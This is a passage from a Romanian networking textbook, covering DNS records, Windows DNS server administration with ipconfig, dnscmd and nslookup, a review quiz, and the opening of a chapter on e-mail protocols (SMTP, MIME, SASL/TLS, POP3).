7-15: Proprietile unei intrri de tip NS
SOA (start of authority): Cuprinde serverele de nume primare ce sunt autoritare pentru o
anumit zon, precum i o informaie de contact pentru administratorul respectivei zone. De
asemenea, stabilete perioada de timp pentru care un server neautoritar poate pstra
informaiile primite nainte de a le verifica din nou la serverul autoritar. Un exemplu de intrare
SOA este umrtorul:
@ IN SOA ns.storage.com. admin.storage.com. (
200808272000; serial number timestamp al ultimei modificri
100; refresh
50; retry
86400 ; expire
3600 ) ; default TTL validitatea informaiilor de la serverul autoritar
275 | D N S


7-16: Proprietile unei intrri de tip SOA
O intrare SOA este automat creat la instalarea serverului DNS, cu valori implicite pentru
maina local.
PTR (pointer): Realizeaz funcia opus unei intrri de tip A. Un exemplu poate fi urmtorul:
61.130.98.66.in-addr.arpa. IN PTR site3.storage.com
Pentru a defini o intrare de tip PTR (manual sau automat, la crearea unei intrri de tip A) este
necesar crearea unei zone de tip reverse lookup (zon de rezolvare invers). Crearea unei
astfel de zone se face similar cu a uneia de tip forward lookup, cu diferea c va exista i
opiunea de a crea o zon de rezolvare invers pentru adrese IPv4 sau IPv6.

7-17: Proprietile unei intrri de tip PTR
SRV (service): Indic tipul i acoperirea unor servicii pentru o anumit zon i sunt de mare
importan pentru funcionarea Active Directory. Ca i intrrile de tip MX, intrrile SRV dein un
numr de preferin, deci exist i posibilitatea de a realiza o form de load balancing. Un
exemplu de intrare de tip SRV, ntr-un fiier de configurare, poate fi urmtorul:
_kerberos._tcp._sites.dc._msdcs 600 SRV 100 88 global.storage.com.
276 | R e e l e L o c a l e

Pe scurt, cmpurile au urmtoarele semnificaii:
o _kerberos reprezint serviciul despre care se ofer informaii;
o _tcp indic indic faptul c acesta utilizeaz TCP pentru funcionare, deci poate indica i UDP;
o global.storage.com reprezint numele serverului ce ofer acest serviciu;
o 600 indic perioada de validitate (TTL) a nregistrrii, n secunde;
o 88 este portul pe care funcioneaz serviciul;
o 100 este un numr ce indic preferina acestei intrri, ca i n cazul MX-urilor.
Intrrile de tip SRV sunt importante pentru Active Directory deoarece indic ce staii din
domeniu ruleaz servicii Active Directory. Serviciile pe care Active Directory le caut n intrrile
de tip SRV sunt urmtoarele (intrarea SRV, n general, suport mai multe):
o _kerberos: autentificare folosind servere Kerberos Key Distribution Center (KDC);
o _kpasswd: mecanism de schimbare securizat a parolei Kerberos;
o _ldap: Lightweight Directory Access Protocol, o modalitate prin care programele externe pot
comunica i schimba date cu Active Directory;
o _gc: Global Catalog, conine un subset al atributelor obiectelor dintr-o infrastructur Active
Directory.
Pentru intrrile de mai sus, n cazul n care se dorete interoperabilitatea cu servere DNS din
mediul UNIX (precum BIND), nu se pot folosi caracterele sau _.

7-18: Proprietile unei intrri de tip SRV
7.4.1.4 Crearea unui server de nume secundar
Pentru funcionarea unui server de nume secundar, este necesar ca acesta s ruleze
Windows Server 2008 cu serviciul DNS instalat i trebuie s fie configurat pentru a se folosi pe
el nsui drept server DNS:
1. Din interfaa de administrare a serviciului DNS, sub categoria Forward lookup zones, se alege
New Zone din meniul contextual;
2. Se alege Secondary pentru a crea o zon de rezolvare secundar. Aceasta va indica i faptul c
serverul local este unul secundar;
3. Se introduce numele zonei secundare;
4. Se introduc pe rnd numele (sau adresele) serverelor principale de pe care vor fi descrcate
informaiile zonei.

Dac se dorete convertirea unui server secundar n unul principal, se poate realiza
aceasta selectnd zona definit ca secundar i accesnd opiunea Properties din meniul
contextual. La categoria General, n dreptul lui Type, se apas butonul Change (figura 7-19),
dup care se poate alege noul tip de zon: Primary, Secondary sau Stub.

277 | D N S


7-19: Convertirea unei zone secundare
7.4.1.5 Transferuri de zone
Din moment ce utilizatorii obinuii din Internet nu trebuie s aib dreptul de a obine
copii ale zonelor de pe orice server DNS deoarece aceasta ar putea expune ntreaga
infrastructur a serverelor unei reele, deci un risc mare de securitate, se poate controla
modul n care se pot realiza transferurile de zone. Interfaa pentru aceasta se acceseaz prin
meniul de proprieti al unei zone, sub Zone transfers (figura 7-20):


7-20: Configurarea transferurilor de zone
Dup cum se observ, transferurile de zone pot fi dezactivate n totalitate. Totui, dac se
alege activarea lor, se pot impune limitri astfel nct acestea s nu poat fi realizate dect cu
serverele listate la Name servers (deci serverele de nume aflate sub control propriu, cel mai
278 | R e e l e L o c a l e

adesea) sau doar cu o serie de servere ale cror adrese pot fi introduse n lista de mai sus (fig
7-20).
Tot de aici poate fi configurat i opiune de notificare a altor servere n urma schimbrilor
efectuate ntr-o zon. Pot fi contactate doar serverele din lista Name Servers sau efectiv cele
introduse manual n lista din fereastra Notify (figura 7-21):


7-21: Notificarea altor servere
7.5 Configurri n linie de comand
7.5.1 Fiierul Hosts
Ca i n cazul sistemelor Linux, i Windows deine un fiier prin care sunt traduse local
corespondenele dintre nume i adrese IP. Acest fiier este localizat n
%systemroot%\System32\drivers\etc\Hosts (adic, spre exemplu, n
C:\Windows\System32\drivers\etc\Hosts).
Informaiile din fiierul Hosts afecteaz rezolvarea numelor asupra ntregului sistem, nu
doar pentru o conexiune, i nici doar pentru IPv4.
nregistrrile din fiierul Hosts sunt trecute sub forma <adres> <nume> iar comentarea
liniilor se face prin caracterul #.
7.5.2 Ipconfig
Cteva dintre funciile utilitarului ipconfig, folosit n principal pentru TCP/IP adreseaz i
configuraia DNS a sistemului local:
ipconfig /displaydns
Comanda de mai sus afieaz nregistrrile n cache-ul local DNS (practic, numele deja
rezolvate i care nu au expirat nc) i este util pentru depistarea erorilor de rezolvare pentru
anumite nume. n funcie de sistemul de operare, fiecare nume a crui rezolvare a fost
efectuat cu succes este reinut o perioad de ctre sistemul de operare pentru a nu mai
necesita o nou contactare a serverului DNS pentru o eventual nou cerere.
ipconfig /flushdns
Folosind ipconfig mpreun cu parametrul /flushdns se poate fora tergerea intrrilor
din cache-ul local. Toate rezolvrile ulterioare vor contacta prima oar serverul DNS,
construind astfel din nou cache-ul.
ipconfig /registerdns
Parametrul /registerdns foreaz clientul s se renregistreze n mod dinamic la serverul
DNS, dac zona respectiv suport actualizri dinamice (a se vedea i seciunea 7.4.1.1 -
Configurarea iniial i crearea unei zone).
279 | D N S

7.5.3 Dnscmd
Utilitarul dnscmd reprezint varianta n linie de comand a interfeei de administrare a
serverului DNS din Windows Server 2008. El permite administratorilor s creeze zone, s
modifice nregistrri i s efectueze o serie de aciuni administrative asupra serverului DNS.
Pentru a enumera parametrii comenzii i efectele lor, se poate introduce comanda
1
:
dnscmd /?
Un exemplu de utilizare este urmtoarea comand:
dnscmd s6.corp.marketing.local /ZoneAdd corp.marketing.local /Primary /file
corp.marketing.local.dns
Comanda de mai sus are ca efect crearea unei noi zone primare standard, numit
corp.marketing.local pe un server cu numele s6.corp.marketing.local, a crei
configuraie va fi stocat n fiierul corp.marketing.local.dns. n mod intuitiv, pentru
crearea unei zone secundare se nlocuiete parametrul /Primary cu /Secondary.
Un exemplu de adugare a unei noi nregistrri (RR) la o zon existent este urmtoarea
comand:
dnscmd s6.corp.marketing.local /RecordAdd corp.marketing.local www A 192.168.1.23
Prin comanda anterioar se adaug o nou nregistrare de tip A (host) numit www, la zona
corp.marketing.local, ce face legtura cu adresa IP 192.168.1.23. Serverul pe care se
efectueaz modificarea este acelai ca i n exemplul anterior, s6.corp.marketing.local.
Vizualizarea tuturor zonelor dintr-un server se poate face prin comanda
2
:
C:\Users\Administrator>dnscmd ::1 /enumzones

Enumerated zone list:
Zone count = 3

Zone name Type Storage Properties

. Cache File
15.86.117.in-addr.arpa Primary File Update Rev
storage.com Primary File Update


Command completed successfully.
tergerea cache-ului de pe un anumit server folosind dnscmd se poate face utiliznd
comanda:
dnscmd s6.marketing.local /clearcache
Pentru o oprire i o repornire rapid a unui anumit server:
dnscmd s6.marketing.local /restart
Exportarea configuraiei unei zone DNS ntr-un fiier se face cu parametrul /zoneexport,
urmat de numele zonei i apoi de numele fiierului n care aceasta va fi exportat:
dnscmd /zoneexport corp.marketing.local corp.marketing.local.dns
tergerea unei zone de pe un anumit server se realizeaz cu urmtoarea comand, unde
primul parametru reprezint numele serverului pe care se efectueaz modificarea, iar numele
de dup /zonedelete reprezint numele zonei de ters:
dnscmd s6.corp.marketing.local /zonedelete corp.marketing.local

1
O list mai cuprinztoare a parametrilor suportai de dnscmd poate fi accesat la adresa:
http://www.minasi.com/newsletters/nws0803a.htm
2
::1 este notaia adresei IPv6 pentru localhost, echivalentul lui 127.0.0.1 n IPv4.
280 | R e e l e L o c a l e

7.5.4 Nslookup
Utilitarul nslookup este printre cele mai utile i uor de utilizat metode de testare a
funcionalitii unui server DNS. Funcia lui de baz este, practic, cea de rezolvare a unei cereri
folosind serverul DNS declarat implicit n Windows.
Pentru o simpla interogare de tip A (host) se introduce comanda nslookup urmat de
numele de rezolvat:
C:\Users\Administrator>nslookup cs.pub.ro
Server: dns-cache-3.rcs-rds.ro
Address: 82.76.253.115

Non-authoritative answer:
Name: cs.pub.ro
Address: 141.85.37.5
nslookup suport i alte tipuri de interogri, precum MX sau SOA. Pentru a emite astfel de
interogri, se introduce comanda nslookup fr parametri, se specific tipul de interogare
dorit prin comanda set query si apoi se introduce numele de rezolvat, ca n exemplul
urmtor (pentru a iei din prompt-ul nslookup se pot da comenzile exit, quit sau CTRL-C):
C:\Users\Administrator>nslookup
Default Server: dns-cache-3.rcs-rds.ro
Address: 82.76.253.115

> set query=mx
> cs.pub.ro
Server: dns-cache-3.rcs-rds.ro
Address: 82.76.253.115

Non-authoritative answer:
cs.pub.ro MX preference = 5, mail exchanger = mail.cs.pub.ro
> set query=soa
> cs.pub.ro
Server: dns-cache-3.rcs-rds.ro
Address: 82.76.253.115

Non-authoritative answer:
cs.pub.ro
primary name server = ns.cs.pub.ro
responsible mail addr = admin.cs.pub.ro
serial = 2008041301
refresh = 28800 (8 hours)
retry = 7200 (2 hours)
expire = 604800 (7 days)
default TTL = 86400 (1 day)

281 | D N S

ntrebri
1. Care din afirmaiile de mai jos sunt adevrate? (alegei toate variantele care se
potrivesc)
DNS este o baz de date distribuit
DNS este o baz de date centralizat
administrarea bazei de date DNS se face centralizat
administrarea bazei de date DNS se face distribuit

2. www.kde.org poate fi numele de domeniu pentru: (alegei toate variantele care se
potrivesc)
O intrare de tip NS
O intrare de tip A
O intrare de tip PTR
O intrare de tip MX

3. Rspunsuri autoritare pot fi date de (alegei toate variantele care se potrivesc):
Serverele de nume master
Serverele de nume de tip forwarding
Serverele de nume slave
Serverele de nume tip caching-only

4. Care sunt doi factori importani pentru alegerea timpului de via a unei intrri din
baza de date DNS? (alegei dou variante)
Timpul de rspuns
Lungimea numelui
Numrul de separatori (.) din nume
Acurateea rspunsului

5. Un client DNS trimite serverului DNS cereri ... ... ... ... i primete rspunsuri ... ... ...
... (alegei toate variantele care se potrivesc)
nerecursive, autoritare
nerecursive, neautoritare
recursive, autoritare
recursive, neautoritare

6. Intrarea ce identific serverul de nume asociat cu un domeniu este de tip:
A
PTR
MX
NS

7. Care este utilitatea seriei bazei de date a unui domeniu (serial)?
Este folosit de serverul master pentru a verifica consistena cu root serverele
Este folosit de serverul slave pentru a ti ce s-a schimbat la serverul master
Este folosit de serverele de nume pentru a identifica intrrile din cache
Este folosit de BIND pentru a identifica schimbrile efectuate asupra fiierului principal
de configuraie
282 | R e e l e L o c a l e


8. Care este utilitatea cmpului TTL dintr-o nregistrare SOA?
nregistrrile de tip SOA nu conin cmpuri TTL
Specific durata de via pentru rspunsurile pozitive din cache
Specific durata de via pentru rspunsurile negative din cache
Specific durata de via pentru rspunsurile negative si pozitive din cache

9. Care poate fi cauza nerezolvrii cererilor DNS dac un client are configurat un
server de nume n fiierul /etc/resolv.conf, iar serverul funcioneaz?
Fiierul /etc/hosts nu conine numele interogat
Fiierul /etc/nsswitch.conf nu conine cuvntul cheie DNS n linia ce descrie modalitatea
de rezolvare a numelor staiilor
Nu a fost pornit serviciul de rezolvare
Serviciul de rezolvare este pornit, dar portul este filtrat cu ajutorul unui firewall

10. Care este directiva BIND9 prin care se pot specifica clienii care pot face cereri
ctre server?
allow-answer
allow-query
forwarders
forwarding-servers


283 | E - m a i l

8 E-mail
Diamonds are forever. E-mail comes close.
June Kronholz
Ce se nva din acest capitol?
Funcionarea serviciului de e-mail
Protocoale folosite: SMTP, IMAP, POP3
Configurarea Postfix
Configurare Courier-IMAP
Configurarea Procmail
Cine este...
Eric Paul Allman este creatorul programului sendmail i al precursorului acestuia
numit delivermail. Sendmail a devenit o parte important a distribuiei de software de la
Berkley (BSD) i este n continuare cel mai utilizat MTA n sistemele Unix. n 1998 a fontat
Sendmail Inc. pentru a lucra la mbuntirea sendmail.
Wietse Venema este un programator i fizician olandez, creatorul i principalul
dezvoltator al server-ului de e-mail Postfix. De asemenea, a scris mai multe aplicaii n
domeniul securitii sistemelor. Din 1996, lucreaza n Statele Unite la IBM Thomas J.
Watson Research Center unde continua sa dezvolte Postfix. A primit numeroase premii
pentru activitile sale.
Ray Tomlinson este persoana care a implementat primul sistem de e-mail ntr-o reea,
mai precis n reeaua ARPANet. Sistemul putea sa trimit e-mail-uri pentru utilizatori legai
la computere din ARPANet folosind semnul @ pentru a separa numele utilizatorului de
numele host-ului. A ajutat la implementarea protocolului Telnet i a modificat programul
SNDMSG pentru a permite trimiterea mesajelor i la utilizatori pe altecomputere sub
forma de e-mail-uri. A primit numeroase premii pentru activitile sale.

Electronic mail (pot/mesagerie electronic), abreviat e-mail sau e-mail, este o metod
de compunere, transmitere, recepie i accesare a mesajelor peste sisteme de comunicaie
electronic. Termenul se aplic att sistemelor de e-mail din Internet bazate pe SMTP (Simple
Mail Transfer Protocol) ct i sistemelor de grupuri de colaborare care permit utilizatorilor
unei companii sau organizaii s transmit mesaje alteia. n acest capitol sunt prezentate
detalii legate de funcionarea i arhitectura sistemului de e-mail i protocoalele i aplicaiile
utilizate.
Ideea de mesagerie electronic dateaz din anul 1971, cnd Ray Tomlinson dezvolta prima
aplicaie de e-mail pentru ARPANET. Utilizat preponderent la nceputul Internetului, serviciul
de e-mail a pierdut teren n faa altor protocoale precum FTP, HTTP, Bittorrent. Cu toate
acestea, extinderea Internetului i apariia unor forme diverse de platforme de colaborare
asigur folosirea la scar larg a serviciului. Dac la nceput comunicaia prin e-mail se realiza
n cea mai mare parte ntre dou persoane, o bun parte din mesajele trimise n Internet sunt
mesaje pentru liste de discuii, forumuri, sisteme de ticketing sau bug-tracking sau pentru alte
forme de colaborare.
Probabil c cea mai important problem a serviciului de e-mail sunt mesajele nesolicitate
(e-mail spam). Se apreciaz c mesajele nesolicitate reprezint peste 80% din totalul de
mesaje din lume. Diferite tehnici anti-spam precum integrarea lor n serverele de transfer,
DNS blacklisting, greylisting sunt folosite pentru a bloca mesajele nesolicitate.
284 | R e e l e L o c a l e

8.1 Arhitectur i funcionare. Protocoale
Dei serviciul de e-mail are o funcionare clasic de tipul client-server peste TCP, un mesaj
parcurge mai multe componente din momentul compunerii pn n momentul citirii.
Componentele parcurse de mesaj din momentul livrrii acestuia pn la stocarea acestuia sunt
denumite i ageni.
MTA (Mail Transfer Agent, server SMTP) (denumit mail server sau mail exchange server n
context DNS) - este un program sau agent software care asigur transferul mesajelor de la un
calculator la altul (de la surs la destinaie);
MUA (Mail User Agent) (denumit e-mail client) - este programul folosit pentru citirea,
compunerea i transmiterea de mesaje de pot electronic; citirea de mesaje se face folosind
POP3 sau IMAP, iar transmiterea se face folosind SMTP (prezentate mai jos);
MDA (Mail Delivery Agent, sau LDA - Local Delivery Agent) - este program care accept
mesajele e-mail i le distribuie ctre csua potal a destinatarului;
csu potal (message storage) este o intrare n sistemul local de fiiere utilizat pentru
stocarea mesajelor de pot electronic; csua potal este interogat de MUA pentru
preluarea mesajelor de pot electronic si de MTA (eventual MDA) pentru stocarea de noi
mesaje;
server POP3/IMAP server folosit pentru copierea sau accesarea mesajelor stocate n csua
potal; clientul (MUA) folosete POP3 sau IMAP n cadrul comunicaiei cu serverul.
Serviciul de pot electronic funcioneaz pe baza a trei protocoale importante, care
asigur comunicaia ntre componentele de mai sus. Toate trei protocoalele funcioneaz
peste TCP.
SMTP (Simple Mail Transfer Protocol) - protocol utilizat de mail servere (MTA); SMTP este
standardul de facto pentru transmiterea mesajelor electronice n Internet; portul implicit
utilizat este 25; MTA-ul ascult pe portul specificat cereri de transmitere de mesaje de pot
electronic n format SMTP; SMTP este folosit n cadrul unei sesiuni de comunicaie ntre MUA
i MTA sau ntre dou MTA-uri;
POP3 (Post Office Protocol version 3) - protocol utilizat de clientul de e-mail (MUA) pentru a
descrca mesajele de pot electronic de pe un server; portul implicit utilizat este 110;
IMAP (Internet Message Access Protocol) - protocol folosit de MUA pentru accesarea mesajelor
electronice pe un server; portul implicit utilizat este 143.
Pe un sistem care ruleaz un daemon/serviciu POP3 sau IMAP, un client de e-mail se va
conecta la portul specific i, folosind protocolul n cauz, va interoga csua potal a
utilizatorului specificat pentru citirea mesajelor.
Formatul unei adrese de pot electronic este format din trei campuri:
numele utilizatorului care dorete transmiterea sau recepia mesajului;
simbolul @ (citit at sau a-rond);
numele domeniului (DNS name) pentru care se transmite/recepioneaz mesajul.
8.1.1 Funcionarea serviciului de e-mail
Pentru a exemplifica modul n care componentele prezente mai sus interacioneaz, se
presupune urmtoarea situaie: Ana are adresa de mail ana@avatar.org i dorete s-i
transmit un mesaj lui Bogdan, care are adresa de mail bogdan@berserk.org. MTA-ul
domeniului avatar.org este smtp.avatar.org, iar cel al domeniului berserk.org este
smtp.berserk.org. Paii urmai sunt urmtorii:
1. Ana compune un mesaj folosind un MUA; dup ce comand transmiterea mesajului, MUA-ul
transform mesajul ntr-un format specific
1
, se conecteaz la MTA-ul local (sau cel configurat

1
RFC 822
285 | E - m a i l

n MUA), n cazul de fa, smtp.avatar.org, i folosete SMTP pentru a transmite mesajul ctre
acesta;
2. MTA-ul analizeaz adresa destinaie furnizat prin SMTP (bogdan@berserk.org); folosete DNS
pentru a afla mail exchange serverul responsabil pentru domeniul berserk.org;
3. serverul de nume pentru berserk.org rspunde cu o nregistrare de tipul MX coninnd MTA-ul
responsabil: smtp.berserk.org; mesajul este transmis ntre MTA-uri (de la smtp.avatar.org la
smtp.berserk.org) folosind SMTP;
4. (opional) la destinaie, LDA realizeaz distribuia mesajelor n csua potal a lui Bogdan;
LDA-ul este responsabil cu filtrarea mesajelor;
5. Bogdan folosete MUA-ul propriu pentru a citi mesajul; acesta se poate conecta pe sistemul
unde se gsete csua de pot electronic (folosind IMAP) sau poate ridica mesajele de pe
server pentru a le consulta offline (folosind POP3).

Paii de mai sus sunt prezentai n figura urmtoare:


8-1: Funcionarea serviciului de e-mail
8.1.1.1 Open mail relays
Iniial, MTA-urile acceptau mesaje ctre orice destinatar din Internet i ncercau
transmiterea acestora ctre destinaie. Astfel de MTA-uri sunt denumite open mail relays.
Acest lucru era important la nceputul Internetului cnd conexiunile erau nesigure. Dac un
MTA nu putea ajunge la destinaie, el putea transmite (relay) mesajul ctre un server relay
care era mai apropiat de destinaie. Serverul relay ar fi avut o ans mult mai bun de
transmitere a mesajului la un moment ulterior. Totui, acest mecanism s-a dovedit a fi
exploatabil de ctre cei care transmiteau mesaje electronice nesolicitate (spam). Drept
consecin, foarte puine MTA-uri moderne au funcionalitate de open mail relay i cea mai
mare parte nu vor accepta mesaje de la MTA-uri de tip open mail relay pentru c este foarte
probabil ca aceste mesaje s fie spam.
ISP-urile practic dou metode pentru a preveni ca serverele lor sa devin open relay:
acceptarea conexiunilor doar de la clienii si (un spammer, care nu este client al ISP-ului nu va
putea folosi acel server) i crearea unor liste de destinatari acceptai (allowed recipients) astfel
nct un spammer nu va putea folosi acel server pentru a trimite mail catre orice destinaie.
To:bogdan@berserk.org
From: ana@avatar.org
To:bogdan@berserk.org
From: ana@avatar.org
smtp.avatar.org
ns.berserk.org
smtp.berserk.org
MUA Ana
SMTP
SMTP
POP3/IMAP
MX berserk.org?
mx.berserk.org
Bogdan
browse
r
286 | R e e l e L o c a l e

8.1.2 Formatul mesajelor
Un mesaj electronic este format
1
dintr-un plic (envelope) i coninut. Plicul conine
informaii cu privire la livrarea mesajului ctre destinaie, n timp ce coninutul mesajului este
obiectul efectiv transferat. Plicul este descris, de obicei, prin comenzi SMTP:
MAIL FROM:<userx@y.foo.org>
RCPT TO:<@hosta.int,@jkl.org:userc@d.bar.org>
Coninutul unui mesaj cuprinde dou pri: antetul i corpul mesajului. Antetul, la rndul
su, reprezint o sintax strict, n vreme ce corpul reprezint o parte opional n coninutul
mesajului. Corpul este format dintr-o succesiune de linii de text fr niciun fel de constrngeri.
O linie din antet este compus dintr-un nume de cmp urmat de ':' i apoi descrierea
cmpului. Spre exemplu, ''Subject: Mesaj de test'', folosete cmpul ''Subject'', cu descrierea
''Mesaj de test''. Descrierile de cmp pot avea un format special, dar pot fi i nestructurate.
Cmpurile importante din cadrul unui mesaj pot fi observate n extrasul de mesaj de mai
jos:
Return-Path: <tavi@cs.pub.ro>
X-Original-To: razvand@cs.pub.ro
Delivered-To: razvand@cs.pub.ro
Received: from ixro-ex1.ixiacom.com (unknown [212.146.94.66])
by mail.cs.pub.ro (Postfix) with ESMTP id 7588E156B2C;
Wed, 25 Jun 2008 14:12:46 +0300 (EEST)
Received: from [10.205.9.116] ([10.205.9.116]) by ixro-ex1.ixiacom.com with Microsoft
SMTPSVC(6.0.3790.1830);
Wed, 25 Jun 2008 14:14:39 +0300
From: Octavian Purdila <tavi@cs.pub.ro>
Organization: Politehnica University of Bucharest
To: Razvan Deaconescu <razvand@cs.pub.ro>
Subject: Re: doctorat tavi
Date: Wed, 25 Jun 2008 14:11:41 +0300
User-Agent: KMail/1.9.9
Cc: Razvan Rughinis <rrazvan@cs.pub.ro>
References: <200806131346.46727.tavi@cs.pub.ro>
In-Reply-To: <200806131346.46727.tavi@cs.pub.ro>
MIME-Version: 1.0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
Message-Id: <200806251411.41675.tavi@cs.pub.ro>
X-OriginalArrivalTime: 25 Jun 2008 11:14:39.0621 (UTC) FILETIME=[A8E6BB50:01C8D6B4]
X-mail.cs.pub.ro-MailScanner: Found to be clean
X-mail.cs.pub.ro-MailScanner-SpamCheck: not spam, SpamAssassin (score=0.847,
required 6, autolearn=not spam, BAYES_00 0.71,
FORGED_RCVD_HELO 0.14)
X-mail.cs.pub.ro-MailScanner-From: tavi@cs.pub.ro
Cmpurile Return-Path, X-Original-To, Delivered-To, Received ofer informaii
referitoare la calea parcurs de mesaj pn la destinaie. Cmpurile care ncep cu X sunt
cmpuri speciale de extensie adugate de utilitare specializate. n exemplul de mai sus acest
utilitare sunt MailScanner i SpamAssassin.
Alte cmpuri prezente n mesaj sunt:
1. Cmpuri referitoare la data mesajului:
o Date: data transmiterii mesajului (data local cnd mesajul a fost trimis spre livrare de ctre autor).
2. Cmpuri referitoare la autor:
o From: cmpul specific una sau mai multe adrese ale autorului/autorilor mesajului ntr-un format
standardizat;
o Reply-To: permite specificarea csuei potale unde autorul sugereaz trimiterea rspunsului;
o User-agent: clientul de e-mail (MUA) folosit pentru trimiterea mesajului;
3. Cmpuri referitoare la destinatar:
o To: conine lista adreselor destinatarilor mesajelor;
o Cc (Carbon Copy): conine lista adreselor persoanelor carora le va fi livrat mesajul, fr ca acesta s
le fie adresat n mod direct;

1
RFC 2822
287 | E - m a i l

o Bcc (Blind Carbon Copy): conine lista adreselor persoanelor crora le va fi livrat mesajul, fr ca
aceste adrese s fie vizibile celorlali destinatari.
4. Cmpuri de identificare a mesajului:
o Message-ID: un identificator unic al mesajului;
o In-Reply-To: acest cmp este prezent n mesajele de rspuns la alte mesaje i conine Message-ID-ul
mesajului la care se rspunde;
o References: cmp prezent n mesajele de rspuns, coninnd identificatorii altor mesaje la care
mesajul curent face referire.
5. Cmpuri referitoare la coninut:
o Subject: subiectul mesajului;
8.1.2.1 MIME
Dat fiind faptul c n momentul elaborrii acestor specificaii nu se punea problema de a
transmite altceva dect text, nu s-a definit exact forma coninutului unui mesaj. Nevoia de a
transmite altceva dect text n cadrul unui mesaj (audio/video) a dus la apariia unor
probleme. Soluia a fost MIME (Multipurpose Internet Mail Extension)
1
. Datorit largii
rspndiri a sistemului definit de RFC 822, MIME nu putea s fie gndit dect ca o adugire la
aceste specificaii, nicidecum ca o nlocuire.
Utilitarul uuencode poate fi folosit pentru codificarea fiierelor binare n format care poate
fi transmis prin e-mail:
razvan@valhalla:/tmp$ uuencode Test_vm_lin.zip hello.zip
begin 644 hello.zip
M4$L#!!0````(`&:HDS6\![A=F````,D````0`!4`36%K969I;&4N8VAE8VME
M<E54"0`#<#>(169FB$55>`0`Z`/H`W-V\W%T#U:P5=`-3\S)4=!-Y^+2"_#P
M]XNT4BA)+2[AX@**0IF<J14%^44E"CXN\3Z>3D&.09'Q`8XA'K9Z"FIJ"GKZ
M$.5)I9DY*;H%1:E67)Q<7"`QB&Z]?"Y.%0UG9TVX10H*"KKY8#D%E3@%71\]
[...]
8.1.3 SMTP (Simple Mail Transfer Protocol)
SMTP
2
este protocolul utilizat de serverele de e-mail (MTA) pentru transportul mesajelor.
n cadrul unei comunicaii, un MTA poate juca rol de server sau de client. Server va fi acel MTA
care primete mesajul iar client MTA-ul care l trimite. Serverul de SMTP poate fi cel final
(serverul de mail exchange asociat domeniului destinaie) sau poate avea rol intermediar:
relay sau gateway. Un server de tip relay este un server care nu este cel final i va transmite
mesajul ctre un alt server. Marea parte a serverelor de e-mail la nceputul Internetului erau
de acest tip pentru c legturile slabe nu puteau garanta ntotdeauna o conexiune de la surs
la destinaie. Server de tip gateway este un server configurat ca server de mail exchange
pentru mai multe domenii care va redirecta mesajele MTA-urilor efective asociate fiecrui
domeniu.
Protocolul SMTP este un protocol bazat pe stri. Att serverul ct i clientul mpart aceeai
viziune asupra strii curente. O sesiune este reprezentat de comenzile iniiate de clientul
SMTP i de rspunsurile date de server, sub forma unor coduri numerice nsoite de un text
explicativ.
Un protocol simplu, SMTP folosete comenzi text pentru comunicare. Astfel, pentru
specificarea destinatarului i expeditorului se vor folosi comenzile RCPT TO, respectiv MAIL
FROM. Alte comenzi utile sunt HELO, DATA, QUIT.
Pentru a rezolva unele dintre limitrile protocolului SMTP, un nou protocol a fost definit:
ESMTP (Extended SMTP). O dat cu acest nou protocol, a fost definit i o modalitate de a
determina versiunea de SMTP suportat de un server. Astfel, un client capabil de ESMTP i va
ncepe dialogul cu serverul utiliznd comanda EHLO n loc de HELO. Dac rspunsul primit de

1
RFC 2045-2049
2
RFC 2821
288 | R e e l e L o c a l e

la server nu este unul de eroare, clientul va folosi n continuare ESMTP, n caz contrar
revenindu-se la folosirea SMTP.
8.1.3.1 SASL i TLS
Fiind un protocol simplu, SMTP nu are integrat o facilitate de autentificare. Oricine poate
trimite mesaje prin conectarea la un server SMTP. Mai mult, i poate ascunde foarte uor
identitatea. Pentru a integra faciliti de autentificare n SMTP se folosete SASL
1
(Simple
Authentication and Security Layer). SASL decupleaz formele de autentificare de aplicaia n
sine i poate fi folosit cu o gam variat de protocoale.
SASL pune la dispoziia aplicaiei mecanisme de autentificare (digest, login, plain, one time
password, etc.) i un cadru de stocare a informaiei de autentificare (utilizatori, parole). ntr-o
conexiune SMTP autentificarea se realizeaz prin intermediul comenzii AUTH din extensia
SMTP-AUTH
2
.
SASL ofer servicii de autentificare dar nu asigur securitatea informaiei. Numele de
utilizatori sau parolele transmise n cadrul sesiunii de autentificare sunt transmise n clar.
Comunicaia criptat este asigurat cu ajutorul TLS
3
(Transport Layer Security). TLS permite
securizarea comunicaiei folosind mecanisme de criptare cu chei publice. n general, serverul
SMTP se va autentifica cu ajutorul unui certificat digital, n timp ce clienii se vor autentifica cu
unele din metodele puse la dispoziie de SASL.
8.1.4 POP3 (Post Office Protocol)
POP3
4
este utilizat de aplicaiile de tip MUA pentru a ridica mesajele de pota electronic
din csua potal (message store).
POP3 a fost proiectat pentru a permite utilizatorilor cu conexiuni intermitente (cum sunt
conexiunile dial-up) s extrag mesajele de pe server atunci cnd sunt conectai i apoi s le
vizualizeze i s lucreze fr necesitatea unei conexiuni. Dei marea parte a clienilor de mail
au opiunea de a pstra mesajele pe server, n general MUA care folosesc POP3 se conecteaz,
ridic mesajele, le stocheaz pe calculatorul utilizatorului ca mesaje noi, le terg de pe server
i se deconecteaz. Dezavantajul este dificultatea citirii acelorai mesaje din dou locaii
diferite. n contrast, protocolul IMAP de ridicare a mesajelor electronice suport att mod de
operare conectat ct i deconectat.
Dialogul ncepe prin stabilirea conexiunii la cererea clientului. Serverul va rspunde cu un
mesaj de ntmpinare. Urmeaz apoi un dialog format din comenzi ale clientului i rspunsuri
ale serverului. Rspunsul serverului include un indicator al strii curente (+OK sau -ERR), un
cuvnt cheie i, eventual, informaie adiional. La fel ca i SMTP, comenzile POP3 sunt
comenzi text.
Dup iniierea conexiunii, se va realiza autentificarea clientului la server. Ca i alte
protocoale mai vechi din Internet, POP3 folosea la nceput mecanisme de autentificare fr
criptare. Dei nc se practic transmiterea de parole n clar, POP3 suport cteva metode de
autentificare pentru a furniza diverse niveluri de protecie mpotriva accesului nedorit la
mesajele utilizatorului. O astfel de metod este comanda APOP care folosete MD5 pentru
obinerea unei chei de autentificare. POP3 suport de asemenea metode de autentificare de
tip IMAP folosind extensia AUTH. n zilele noastre este ns comun s se cripteze traficul POP3
folosind TSL/SSL.

1
RFC 4422
2
RFC 4954
3
RFC 4346
4
RFC 1939
289 | E - m a i l

8.1.5 IMAP (Internet Message Access Protocol)
Protocolul POP3 este utilizat n special pentru transferarea mesajelor de pe server pe orice
alt calculator pentru a le citi offline. n cazul n care se dorete accesarea unui singur cont de
pot electronic de la mai multe locaii (acas/birou), protocolul POP3 este limitat. Acest
